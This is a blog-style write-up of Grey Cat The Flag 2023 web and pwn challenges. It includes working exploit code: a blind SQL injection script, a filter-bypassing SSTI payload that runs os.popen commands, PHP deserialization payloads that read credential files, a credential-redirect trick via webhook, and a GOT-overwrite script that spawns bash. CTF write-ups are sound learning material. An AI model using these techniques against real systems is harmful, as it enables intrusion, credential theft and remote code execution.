Jonoans

Grey Cat The Flag CTF 2023

Grey Cat The Flag 2023 was a CTF I took part in with my friends under the team 鸡饭GPA. Overall, it was pretty fun except the parts where the organisers had to shutdown the servers less than an hour after commencement to scale up their services.

I primarily did the web as well as some of the pwn challenges.

As I was writing this post, I realised as a rookie to posting writeups, I did not save any flags I attained throughout the CTF LOL. I also did not save my work for some challenges (sad).


Table of Contents

Web

Pwn


# Login Bot (Web)

This challenge presents us with a website and the challenge description:

I made a reverse blog where anyone can blog but only I can see it (Opposite of me blogging and everyone seeing). You can post your content with my bot and I'll read it.

Sometimes weird errors happen and the bot gets stuck. I’ve fixed it now so it should work!

Hmm, interesting.

The source code reviews serveral interesting endpoints, namely /send_post, /url and /post. The latter is only accessible by the admin (effectively the application itself).

@app.route('/send_post', methods=['GET', 'POST'])
def send_post() -> Response:
    # ... truncated ...
    url = request.form.get('url', '/')
    title = request.form.get('title', None)
    content = request.form.get('content', None)
    # ... truncated ...
    url_value = make_post(url, title, content)
    flash('Post sent successfully', 'success')
    flash('Url id: ' + str(url_value), 'info')
    return redirect('/send_post')

def make_post(url: str, title: str, user_content: str) -> int:
    """Make a post to the admin"""
    with requests.Session() as s:
        visit_url = f"{BASE_URL}/login?next={url}"
        resp = s.get(visit_url, timeout=10)
        content = resp.content.decode('utf-8')

        # Login routine (If website is buggy we run it again.)
        for _ in range(2):
            print('Logging in... at:', resp.url, file=sys.stderr)
            if "bot_login" in content:
                # Login routine
                resp = s.post(resp.url, data={
                    'username': 'admin',
                    'password': FLAG,
                })

        # Make post
        resp = s.post(f"{resp.url}/post", data={
            'title': title,
            'content': user_content,
        })

        return db.session.query(Url).count()

The code above surfaces an interesting avenue we could look at, which was the control of the url argument passed as a parameter passed to make_post through our form submission.

As the code is executed, once it has logged in, the bot uses the /post endpoint to make an actual post (commited to db).

One thing we need to note here is that the resp variable is overriden as the login loop is executed. This introduces an noteworthy behaviour. Assuming the first login was successful, since the next paramter is used to redirect the user after login, when specified, the resp.url will contain the URL after redirection in the second execution of the loop. resp.url is reused the second time as-is, as such, this provides us control of where the credentials / flag is posted in the second loop execution.

Now, we need to find a way to redirect the bot to a site controlled by us after login.

We can’t immediately specify an argument next to point the a URL we control because the parameter is validated using urllib.parse and .netloc of the URL from the request context is compared against the .netloc in the URL provided (and i don’t know how to bypass it).

@app.route('/post', methods=['POST'])
def post() -> Response:
    # ... truncated ...
    title = request.form['title']
    content = request.form['content']
    sanitized_content = sanitize_content(content)
    # ... truncated ...

    if title and content:
        post = Post(title=title, content=sanitized_content)
        db.session.add(post)
        db.session.commit()
        flash('Post created successfully', 'success')
        return redirect(url_for('index'))

    flash('Please fill all fields', 'danger')
    return redirect(url_for('index'))

@app.route('/url/<int:id>')
def url(id: int) -> Response:
    url = Url.query.get_or_404(id)
    return redirect(url.url)

URL_REGEX = r'(https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*))'
def sanitize_content(content: str) -> str:
    # Replace URLs with in house url tracker
    urls = re.findall(URL_REGEX, content)
    for url in urls:
        url = url[0]
        url_obj = Url(url=url)
        db.session.add(url_obj)
        content = content.replace(url, f"/url/{url_obj.id}")
    return content

In the above code, we can see the inner workings of the /post endpoint which takes its inputs, sanitises the content then commits the changes to the database. The content sanitisation step involves extracting all URLs and commiting them to database, replacing each URL with a link visitable at /url/<id> endpoint.

Connecting the dots, we could now establish that since URLs are replaced by an link on the same site accessible at /url/<id>, we effectively can successfully control the next parameter in the login flow.

We just need to first make a post containing a URL to a site (use webhook.site) we control (site content must contain “bot_login”), and find our associated URL ID.

Once we obtain our URL ID, sending another post with arbitrary content and the url parameter set to http://34.124.157.94:5002/url/<OUR LINK ID> will have the bot deliver the flag to our doorstep.


# 100 Questions (Web)

100 Questions was a challenge aptly named as such supposedly because it was a service built with 100 questions that we could answer (and feel happy if we got them right xD).

In the challenge, we were provided a couple of files. In particular, the files that were of interest are app.py and database.db.

Taking a look at database.db with the file command, we could see that it was a sqlite3 database. app.py also reveals the use of SQLite in the application. Opening the file with sqlite3, we are able to find the table that contains the flag

sqlite> .tables
QNA
sqlite> SELECT * FROM QNA;
...
42|Flag|REDACTED
...

From the above, we can tell that the “question” containing the flag is question 42. Going on to take a look at app.py, we can immediately spot the endpoint that is vulnerable (there’s only one LOL). I have marked them with comments.

# app.py
@app.route("/", methods=["GET"])
def index():
    qn_id, ans= request.args.get("qn_id", default="1"), request.args.get("ans", default="")

    # id check, i don't want anyone to pollute the inputs >:(
    if not (qn_id and qn_id.isdigit() and int(qn_id) >= 1 and int(qn_id) <= 100):
        # invalid!!!!!
        qn_id = 1

    # get question
    db = sqlite3.connect("database.db")
    # VULNERABLE #
    cursor = db.execute(f"SELECT Question FROM QNA WHERE ID = {qn_id}")
    qn = cursor.fetchone()[0]

    # check answer
    # VULNERABLE #
    cursor = db.execute(f"SELECT * FROM QNA WHERE ID = {qn_id} AND Answer = '{ans}'")
    result = cursor.fetchall()
    correct = True if result != [] else False

    return render_template("index.html", qn_id=qn_id, qn=qn, ans=ans, correct=correct)

From here, I wrote a simple script do exploit the blind SQL injection and reveal the flag.

PAYLOAD = '1\' OR (ID = 42 AND SUBSTR(Answer, 1, {length}) = "{guess}") --'
CHARSET = string.ascii_letters + string.punctuation + string.digits

HOST = '34.126.139.50'
PORT = 10515

def main():
    params = {}
    flag = 'grey{'
    found = False
    while not found:
        for current in CHARSET:
            params['ans'] = PAYLOAD.format(length=len(flag)+1, guess=flag+current)
            if is_valid(requests.get(f'http://{HOST}:{PORT}/?' + urlencode(params))):
                flag += current
                print(flag)
                if flag[-1] == '}':
                    found = True

def is_valid(resp):
    return 'Correct!' in resp.content.decode()

# Microservices (Web)

In this challenge, we were provided 3 different services that were deployed by docker compose.

# docker-compose.yml
x-common-variables: &common-variables
   ADMIN_COOKIE: FAKE_COOKIE
   FLAG: grey{This_is_a_fake_flag}


services:
  admin:
    build: ./admin_page
    container_name: admin_page
    environment:
       <<: *common-variables
    networks:
      - backend

  homepage:
    build: ./homepage
    container_name: home_page
    environment:
       <<: *common-variables
    networks:
      - backend

  gateway:
    build: ./gateway
    container_name: gateway
    ports:
      - 5004:80
    networks:
      - backend

The gateway was our entrypoint into the other services. In the gateway code, we can see that we are able to control the services we can access behind the gateway via the service argument. All arguments parsed to the gateway are forwarded as-is to the backend services behind the gateway.

# gateway/app.py
@app.route("/", methods=["GET"])
def route_traffic() -> Response:
    """Route the traffic to upstream"""
    microservice = request.args.get("service", "home_page")

    route = routes.get(microservice, None)
    if route is None:
        return abort(404)

    # Fetch the required page with arguments appended
    raw_query_param = request.query_string.decode()
    print(f"Requesting {route} with q_str {raw_query_param}", file=sys.stderr)
    res = get(f"{route}/?{raw_query_param}")

    headers = [
        (k, v) for k, v in res.raw.headers.items() if k.lower() not in excluded_headers
    ]
    return Response(res.content, res.status_code, headers)

The flag that we wanted was held within the home page service. However, it was only attainable if we know or had the correct ADMIN_COOKIE referenced in the docker compose setup file (welp, we definitely don’t know it).

# homepage/app.py
@app.route("/")
def homepage() -> Response:
    """The homepage for the app"""
    cookie = request.cookies.get("cookie", "Guest Pleb")

    # If admin, give flag
    if cookie == admin_cookie:
        return render_template("flag.html", flag=FLAG, user="admin")
    # ... truncated ...

The admin service was the service we needed to get to in order to have the right cookie value set.

# admin_page/app.py
@app.get("/")
async def index(request: Request):
    """
    The base service for admin site
    """

    # Currently Work in Progress
    requested_service = request.query_params.get("service", None)
    if requested_service is None:
        return {"message": "requested service is not found"}

    # Filter external parties who are not local
    if requested_service == "admin_page":
        return {"message": "admin page is currently not a requested service"}

    # Legit admin on localhost
    requested_url = request.query_params.get("url", None)
    if requested_url is None:
        return {"message": "URL is not found"}

    # Testing the URL with admin
    response = get(requested_url, cookies={"cookie": admin_cookie})
    return Response(response.content, response.status_code)

What’s interesting to note is the difference in how the gateway and the admin service retrieves the service argument value from the request.

The gateway uses request.args offered by the default Flask implementation while the admin service uses request.query_params which is offered by the flask-pydantic package.

What we need to note here is that request.args is a ImmutableMultiDict wherein multiple values with the having the same key are allowed. On a call to .get(), the default behaviour is to return the first value (see this).

Whereas request.query_params is of type dict (built-in dictionary type in python). The conversion is done by here. The code that does the conversion preserves the last value passed for a given key.

From here, we can simply exploit what is know as a parser | differential | parameter pollutioning (OWASP peeps) attack to attain the flag. We will utilise the admin service to visit the home page, but to get around the requested_service == "admin_page" check, we will use a second parameter of arbitrary value (clearly, do not use “admin_page”).

http://34.124.157.94:5004/?service=admin_page&service=xd&url=http://home_page

# Microservices Revenge (Web)

Welp, it seems microservices is back with a vengeance. This time, things are slightly different.

# docker-compose.yml
x-common-variables: &common-variables
   FLAG: grey{fake_flag}

services:
  admin:
    build: ./admin_page
    container_name: radminpage
    networks:
      - backend

  homepage:
    build: ./homepage
    container_name: rhomepage
    networks:
      - backend

  gateway:
    build: ./gateway
    container_name: rgateway
    ports:
      - 5005:80
    networks:
      - backend

  flag:
    build: ./flag_page
    container_name: rflagpage
    environment:
       <<: *common-variables
    networks:
      - backend

A quick look at the docker compose file reveals the differences between the first Microservices challenge and the current one. In this challenge, we have a new service called flag (that quite evidently is our target).

The home page service is useless this time so I will not touch on that service. In this challenge, the services of interest are the three remaining ones.

It took me awhile to connect the dots, but in the gateway service, as before, it forwards all request context (arguments, headers). But unlike Microservices V1, V2 (that’s what we are calling this challenge now) also forwards cookies. There is also an addition of some checks in the cookie values for sequences such as self, exec and _.

# gateway/app.py
@app.route("/", methods=["GET"])
def route_traffic() -> Response:
    """Route the traffic to upstream"""
    microservice = request.args.get("service", "homepage")

    route = routes.get(microservice, None)
    if route is None:
        return abort(404)

    # My WAF
    if is_sus(request.args.to_dict(), request.cookies.to_dict()):
        return Response("Why u attacking me???\nGlad This WAF is working!", 400)

    # Fetch the required page with arguments appended
    with Session() as s:
        for k, v in request.cookies.items():
            s.cookies.set(k, v)
        res = s.get(route, params={k: v for k, v in request.args.items()})
        headers = [
            (k, v)
            for k, v in res.raw.headers.items()
            if k.lower() not in excluded_headers
        ]

    return Response(res.content.decode(), res.status_code, headers)

It didn’t immediately click for me, but eventually, looking at the source for the admin service, I figured the likely the likely avenue was a server-side template injection (SSTI) attack.

# admin_page/app.py
@app.get("/")
def index() -> Response:
    """
    The base service for admin site
    """
    user = request.cookies.get("user", "user")

    # Currently Work in Progress
    return render_template_string(
        # USER INPUT DIRECTLY PASSED INTO FLASK AS TEMPLATE STRING
        f"Sorry {user}, the admin page is currently not open."
    )

It took me a while to construct the final payload referencing this as I had to bypass the filters for _.

Eventually, I landed with the following exploit code which made use of the the request context to attain access to builtin functions and use os.popen execute a series of system commands.

The first 2 installled curl (not already available) and the final one curled the /flag endpoint on the flag service and read the response (which would be returned in the response body from the admin service). Finally, printing the contents of the response gets us the flag.

HOST = 'http://34.124.157.94:5005/?service=adminpage&cookie=_'

def surround_underscore(var):
    return "attr(request.args.cookie[0] + request.args.cookie[0] + \"" + var + "\" + request.args.cookie[0] + request.args.cookie[0])"

def surround_underscore_no_attr(var):
    return "(request.args.cookie[0] + request.args.cookie[0] + \"" + var + "\" + request.args.cookie[0] + request.args.cookie[0])"

def main():
    payload = '{{ '+ f'request|attr("application")|{surround_underscore("globals")}|{surround_underscore("getitem")}{surround_underscore_no_attr("builtins")}|{surround_underscore("getitem")}{surround_underscore_no_attr("import")}("os")|attr("popen")("apt-get update")|attr("read")()' + ' }}'
    resp = requests.get(host, cookies={'user': payload})
    payload = '{{ '+ f'request|attr("application")|{surround_underscore("globals")}|{surround_underscore("getitem")}{surround_underscore_no_attr("builtins")}|{surround_underscore("getitem")}{surround_underscore_no_attr("import")}("os")|attr("popen")("apt-get install curl -y")|attr("read")()' + ' }}'
    resp = requests.get(host, cookies={'user': payload})
    payload = '{{ '+ f'request|attr("application")|{surround_underscore("globals")}|{surround_underscore("getitem")}{surround_underscore_no_attr("builtins")}|{surround_underscore("getitem")}{surround_underscore_no_attr("import")}("os")|attr("popen")("curl http://rflagpage/flag")|attr("read")()' + ' }}'
    resp = requests.get(host, cookies={'user': payload})
    content = resp.content.decode()
    print(content)

# View My Album (Web)

This challenge presents us with a web application entirely written in PHP. The application itself is rather simple, giving us only the ability to view album information.

In the provided source code, what is of interest is the way in which the prefs cookie value is processed. There are other files that you shoud look at first, like the provided albumns.sql but those are rather self-explanatory so I’ll spare you the details here.

// src/greetings/index.php
if (isset($_COOKIE['prefs'])) {
    $prefs = unserialize($_COOKIE['prefs']);
    if (!($prefs instanceof UserPrefs)) {
        echo "Unrecognized data: ";
        var_dump($prefs);
        exit;
    }
} else {
    // ... set up default prefs if not set ...
}

The two lines we should note in particular is the line calling unserialize on our provided preferences as well as the var_dump when the type check fails.

The presence of the former function tells us that a deserialisation likely exists in the application - considering it takes in untrusted data (controllable by us) in the deserialisation. The latter function on the other hand gives us a clue to what we need to look for.

var_dump as documented here has the following behaviour:

All public, private and protected properties of objects will be returned in the output unless the object implements a __debugInfo() method.

Searching through the codebase, we find the following Albums class.

// src/greetings/Albums.php
class Albums {
    private $store;
    public function __construct($store) {
        $this->store = $store;
    }
    // ... truncated ...
    public function __debugInfo() {
        return $this->getAllAlbums();
    }
}

Now, we know that in order to be able to extract useful information, we need to create a Albums class that provide some kind of store that could help us. The available RecordStore implementations can be found in the src/greetings/Records.php file.

To exploit the vulnerability, I used the following code to generate some serialised objects which I will use to set the values for my prefs cookie.

// ... import necessary stuff
print urlencode(serialize(new Albums(new CsvRecordStore('db_creds.php'))));
print urlencode(serialize(new Albums(new MysqlRecordStore('mysql', 'user', 'j90dsgjdjds09djvupx', 'challenge', 'flag'))));

The first line creates a new Albums object using CsvRecordStore as its underlying store. Since Albums is obviously not an instance of UserPrefs, the type check will fail causing var_dump to be called. var_dump will cause the execution of Albums’s __debugInfo method which invokes the following code of our CsvRecordStore instance.

    public function getAllRecords() {
        $data = array_map('str_getcsv', file($this->file));
        $records = array();
        foreach ($data as $id => $row) {
            $record = new Record($id);
            foreach ($row as $key => $value) {
                $record->$key = $value;
            }
            $records[] = $record;
        }
        return $records;
    }

This lets us obtain the contents of db_creds.php. There is also another store implementation called JsonRecordStore. I’m not sure if that would work, but it does call json_decode on the read data, so I believe it likely would not.

With the database credentials, the second object / payload could be created using the MysqlRecordStore, note the last variable table is set to the value 'flag'. As before, var_dump will be called which will get all records, in this case, the flag of the challenge.


# Monkeytype (Pwn)

For this challenge, we given access to a service which somewhat emulates the monkeytype site.

Our avenue for interaction is the following command stty -icanon -echo ; nc 34.124.157.94 12321; stty sane, which is provided by the challenge.

We are also provided the source code of the service. Inspecting the source, we see a couple of interesting excerpts.

// src/monkeytype.c
#define POWERPUFF_GIRLS_SCORE 0xffffffff
#define QUOTE_LEN 33

int main() {
    char ch;
    int idx = 0;
    uint64_t highscore = 0;
    char buf[64];
    // ... truncated ...
    while(ch != 'q') {
        if (highscore > POWERPUFF_GIRLS_SCORE) {
            endwin();
            puts("You win! Here's the flag:");
            puts("grey{XXXXXXXXXXXXXXX}");
            exit(0);
        }

        if((ch = getch()) == ERR){
        } else if (ch == '\x7f') {
            idx--;
            update_text(mainwin, buf, idx);
        } else if (ch >= 0x20 && ch < 0x7f) {
            // ... truncated ...
            if (idx < QUOTE_LEN) {
                buf[idx++] = ch;
                update_text(mainwin, buf, idx);
            }
            // ... process valid ascii character ...
        }
    }
}

The code listed above is not the full source code!

We see that when we provide a character input within the valid ascii range, the input is added to the buffer buf character by character with idx tracking the current insertion location.

We also see that idx can be incremented (as we provide each character input), however, when we provide input \x7f, the value of idx is decremented and our character input is not added to the buffer.

The above provides us a write primitive. However, the question is where should we write to and what should we write. In this case, the answer is rather straightforward.

Looking further at the source code, we know our target is likely to overwrite highscore. Any value that sets highscore to greater 0xffffffff (max value for 32-bit unsigned integer - highscore is 64-bit unsigned value) allows us to attain the flag.

From here, we have to do a little disassembly to find out how the stack is layed out so we know from which offset from buf’s location to overwrite.

Ghidra provides the following decompilation which reveals that the start of highscore is at an offset of 72 bytes from buf.

int main(void)
{
  // ... truncated ...
  uint64_t highscore;
  WINDOW *mainwin;
  uint64_t score;
  timespec start;
  timespec stop;
  timespec local_68;
  char buf [64];
  // ... truncated ...

Thus, this leads us to the final little command to exploit the service. The command effectively sets idx to -72 and writes 8 'a' to the location, changing the value of highscore. On hindsight, I would think a single 'a' would be sufficient to trigger the win condition.

python3 -c "print('\x7f' * 72 + 'a' * 8, end='')" | nc 34.124.157.94 12321 > flag

# Arraystore (Pwn)

Arraystore is a fair name for this challenge and gives a good amount of clue as to what we need to do.

In this challenge, we are provided a single binary which we need to reverse.

$ checksec --file=arraystore
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   32 Symbols        No    0               2               arraystore

The binary is unstripped and there is only partial RELRO (see here for partial vs. full RELRO). Decompiling the main function in ghidra yields us the following code.

undefined8 main(void)

{
  longlong lVar1;
  longlong lVar2;
  long in_FS_OFFSET;
  longlong alStack_3c8 [100];
  char local_a8 [104];
  long local_40;
  
  local_40 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("Your array has 100 entries");
  do {
    while( true ) {
      printf("Read/Write?: ");
      fgets(local_a8,100,stdin);
      if (local_a8[0] == 'R') break;
      if (local_a8[0] != 'W') {
        puts("Invalid option");
        if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) {
          return 0;
        }
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      printf("Index: ");
      fgets(local_a8,100,stdin);
      lVar1 = strtoll(local_a8,(char **)0x0,10);
      if (lVar1 < 100) {
        printf("Value: ");
        fgets(local_a8,100,stdin);
        lVar2 = strtoll(local_a8,(char **)0x0,10);
        alStack_3c8[lVar1] = lVar2;
      }
      else {
LAB_001011b8:
        puts("Invalid index");
      }
    }
    printf("Index: ");
    fgets(local_a8,100,stdin);
    lVar1 = strtoll(local_a8,(char **)0x0,10);
    if (99 < lVar1) goto LAB_001011b8;
    printf("Value: %lld\n",alStack_3c8[lVar1]);
  } while( true );
}

The operation of the program is rather simple. We can read and write from an array in the program at any index of our choosing. However, there are some checks which disallow us to write beyond the upperbound of the array (index >= 100). However, the program does not check for negative indexes (< 0). This introduces a vulnerablity which gives us a read / write primitive.

Remember earlier, we found that the program only has partial RELRO which means the GOT table is writable. Connecting the dots, if we could somehow override some address stored within the .got.plt section of the binary, we could control which function is called. Ideally, the function we want to override should take in a string argument by default, so if we were to replace the function with system from libc it will give us RCE. The ideal function would also be one which we can control the argument of. In this case, we identified the fgets.

Now, to overwrite the entries there are a couple of pre-requisites we must achieve especially since relocation is involved.

  1. First, we need to figure out the location of our stack at runtime.
  2. Next, we need to identify the runtime location of the .got.plt section.
    • This comes in handy for us to leak addresses of some libc functions at runtime so we can figure out which libc version is used on the remote serve, and…
    • Find out the runtime address of the system function so we can overwrite fgets’s entry to point to system instead.

Finding Stack Location

In any program, so long as the program is executed in the same flow, the contents in the stack remain largely similar in nature.

Thus, to locate ourselves in the stack we can use the read function in the program, conduct a few runs while inspecting the stack and see if anything is useful to help us figure our the stack location at runtime.

In our case, we found that indexing the array at -7 while conducting a read realiably leaks an address which is 800 greater than our actual $rsp value of the main stack frame. $rsp also happens to be the start of our array.

from pwn import *

STACK_OFFSET = 800
def main():
    conn = remote('34.124.157.94', 10546)
    conn.recvline()
    runtime_stk_offset = read_val(conn, -7)
    stack_array = runtime_stk_offset - STACK_OFFSET
    # ... to be continued

def read_val(conn, at):
    conn.recvuntil(b': ')
    conn.sendline(b'R')
    conn.recvuntil(b': ')
    conn.sendline(str(at).encode())
    conn.recvuntil(b': ')
    return int(conn.recvline().decode().strip())

So we have both figured out the runtime address of our array and the start location of our stack.

Finding .got.plt section

To find the runtime location of the .got.plt section, we can simply leak the address of any function within the program. Since our array is at the top of the stack, indexing the array at -1 will leak the return address of the previous function call, which will tell us the location of an instruction in the main function.

In this case, the return address leaked points to main+357. Disassembling the binary tells us the static offset of the instruction at main+357 is 0x11f5. Using the aforementioned information, we can calculate the ASLR offset at runtime.

pwndbg> disass main
Dump of assembler code for function main:
  ... truncated ...
  0x00000000000011f5 <+357>:   cmp    rax,0x63
  ... truncated ...
MAIN_357 = 0x11f5
def main():
    # ... continuing
    main_function_357 = read_val(conn, -1)
    aslr_offset = main_function_357 - MAIN_357

After calculating the ASLR offset at runtime, we are now able to use that to find the location of functions in the .got.plt section. Static disassembly shows that the functions setbuf, printf and fgets are at 0x4010, 0x4018 and 0x4020 respectively.

While we are able to calculate the addresses we need to access, we need to keep in mind that what we are passing to the program is an index.

Since the array is of type long long, each array element is 8 bytes. Thus in order to figure out the index to pass to the program, we use the following formula:

index = (target_address - stack_base_address) / 8

The following series of code leaks the address of setbuf, printf and fgets.

def main():
    # ... continuing
    setbuf_gotplt = aslr_offset + 0x4010
    setbuf_idx = int((setbuf_gotplt - stack_array) / 8)
    setbuf_libc = read_val(conn, setbuf_idx)
    print('SETBUF:', hex(setbuf_libc))

    printf_gotplt = aslr_offset + 0x4018
    printf_idx = int((printf_gotplt - stack_array) / 8)
    printf_libc = read_val(conn, printf_idx)
    print('PRINTF:', hex(printf_libc))

    fgets_gotplt = aslr_offset + 0x4020
    fgets_idx = int((fgets_gotplt - stack_array) / 8)
    fgets_libc = read_val(conn, fgets_idx)
    print('FGETS:', hex(fgets_libc))

Using a service like libc.rip and the leaked addresses, we can find the libc version used by the remote server. Searching the site with our leaked addresses indicated the remote server is likely using libc6_2.35-0ubuntu1_amd64 (or whatever else that has the same offsets).

From the service, we can extract the static offsets of fgets and system. The former is extracted to calculate the libc base address while the latter is used to derive the runtime address of system with which we will use to overwrite fgets’s .got.plt entry.

SYSTEM_OFFSET = 0x50d60
def main():
    # ... continuing
    libc_base = fgets_libc - 0x7f401
    set_val(conn, fgets_idx, int(libc_base+SYSTEM_OFFSET))
    conn.interactive()

def set_val(conn, at, val):
    conn.recvuntil(b': ')
    conn.sendline(b'W')
    conn.recvuntil(b': ')
    conn.sendline(str(at).encode())
    conn.recvuntil(b': ')
    conn.sendline(str(val).encode()+'; bash'.encode())
    # Added '; bash' so when fgets is called bash is executed

Thus our final exploit code looks something like this (excluding some functions already declared above).

MAIN_357 = 0x11f5
STACK_IDX = -7
STACK_OFFSET = 800
SYSTEM_OFFSET = 0x50d60

def main():
    conn = remote('34.124.157.94', 10546)
    conn.recvline()

    # Leak stack address
    runtime_stk_offset = read_val(conn, -7)
    stack_array = runtime_stk_offset - STACK_OFFSET

    # Leak main function to find ASLR
    main_function_357 = read_val(conn, -1)
    aslr_offset = main_function_357 - MAIN_357

    # Leak libc function addresses
    # to find libc version
    setbuf_gotplt = aslr_offset + 0x4010
    setbuf_idx = int((setbuf_gotplt - stack_array) / 8)
    setbuf_libc = read_val(conn, setbuf_idx)
    print('SETBUF:', hex(setbuf_libc))

    printf_gotplt = aslr_offset + 0x4018
    printf_idx = int((printf_gotplt - stack_array) / 8)
    printf_libc = read_val(conn, printf_idx)
    print('PRINTF:', hex(printf_libc))

    fgets_gotplt = aslr_offset + 0x4020
    fgets_idx = int((fgets_gotplt - stack_array) / 8)
    fgets_libc = read_val(conn, fgets_idx)
    print('FGETS:', hex(fgets_libc))

    # KABOOM!
    libc_base = fgets_libc - 0x7f401
    set_val(conn, fgets_idx, int(libc_base+SYSTEM_OFFSET))
    conn.interactive()